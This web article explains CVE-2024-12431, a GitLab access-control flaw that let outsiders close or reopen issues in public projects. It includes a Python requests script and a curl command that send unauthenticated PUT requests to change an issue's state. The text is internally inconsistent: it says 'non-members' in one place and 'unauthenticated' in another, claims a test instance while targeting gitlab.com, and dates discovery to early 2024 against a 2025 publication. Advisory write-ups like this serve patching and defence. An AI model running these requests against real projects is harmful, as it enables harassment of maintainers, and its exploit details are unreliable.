CVE-2024-12431 - GitLab Issue Status Manipulation Vulnerability Explained

In early 2024, security researchers discovered a significant vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). Tracked as CVE-2024-12431, this flaw affected all versions from 15.5 before 17.5.5, 17.6 before 17.6.3, and 17.7 before 17.7.1. The core issue: unauthorized users could manipulate (change) the status of issues in public GitLab projects, potentially undermining project management, communication, and trust.

In this article, we'll break down how this vulnerability works, offer easy-to-understand code examples, discuss its impact, and link you to official sources and patches.

What is the Bug?

Normally, only project members (like developers or maintainers) are allowed to change an issue's status (for example, close an issue, or reopen it) in a GitLab project. This helps ensure that only trusted people manage and resolve issues. But due to a logic flaw in certain versions of GitLab, even non-members — anyone on the internet! — could close, reopen, or otherwise change issue statuses on public projects if they sent a specifically crafted request.

This could be abused to mess with popular open source projects hosted on GitLab.com or self-hosted GitLab servers.

Technical Details

The vulnerability is tied to insufficient permission checks in the controller handling issue status updates. Specifically, the endpoint responsible for updating issues failed to verify that the user has the appropriate role when dealing with public projects.

How It Works

1. Any user — even unauthenticated — can visit a public issue (for example, https://gitlab.com/yourgroup/yourproject/-/issues/42).
2. By sending a specially-crafted HTTP PATCH/PUT request, it's possible to change the issue status (e.g., close or reopen it), even without being logged in or a project member.

Exploit Example

Below is a simplified Python script using requests that exploits this vulnerability. For demonstration, we use the public GitLab test instance (do NOT attack unauthorized servers):

import requests

# Settings (replace with your target)
project_url = 'https://gitlab.com/yourgroup/yourproject';
issue_iid = 42  # Issue number

close_url = f"{project_url}/-/issues/{issue_iid}.json"
data = {'state_event': 'close'}

r = requests.put(
    close_url,
    data=data,
    headers={
        "Content-Type": "application/x-www-form-urlencoded"
    },
    # No authentication
)

if r.status_code == 200:
    print('Issue successfully closed!')
else:
    print(f'Failed to close the issue: {r.status_code}')

Note: This snippet is for educational purposes only. Do not use it against live systems you don't own or manage.

You can also exploit it using cURL

curl -X PUT \
  -d "state_event=close" \
  "https://gitlab.com/yourgroup/yourproject/-/issues/42.json"

Replace yourgroup, yourproject, and 42 with the actual values of your target public project and issue.

What's the Impact?

- Open-source projects can have legitimate open issues closed by random people. Confusion, loss of trust, and workflow interruptions can occur.
- Attackers could script mass-status changes against popular projects as a form of harassment (“griefing”).

How to Fix

Update GitLab to a fixed version immediately:

17.7.1 or above

If you can't update immediately: Make private any sensitive public projects, or severely limit permissions.

Official References

- GitLab Security Release: 17.7.1, 17.6.3, and 17.5.5
- NIST NVD Entry for CVE-2024-12431
- GitLab Issue Tracker

Conclusion

CVE-2024-12431 is a stark reminder that access control checks are critical even for common project actions. If you manage public GitLab projects, upgrade immediately and review your permission settings. Community platforms only work if everyone plays by the same rules — this bug showed what can happen when the rules aren't enforced.


*Have you been affected or have more questions about this vulnerability? Let us know or visit the GitLab blog for more in-depth technical details.*

Timeline

Published on: 01/08/2025 21:15:11 UTC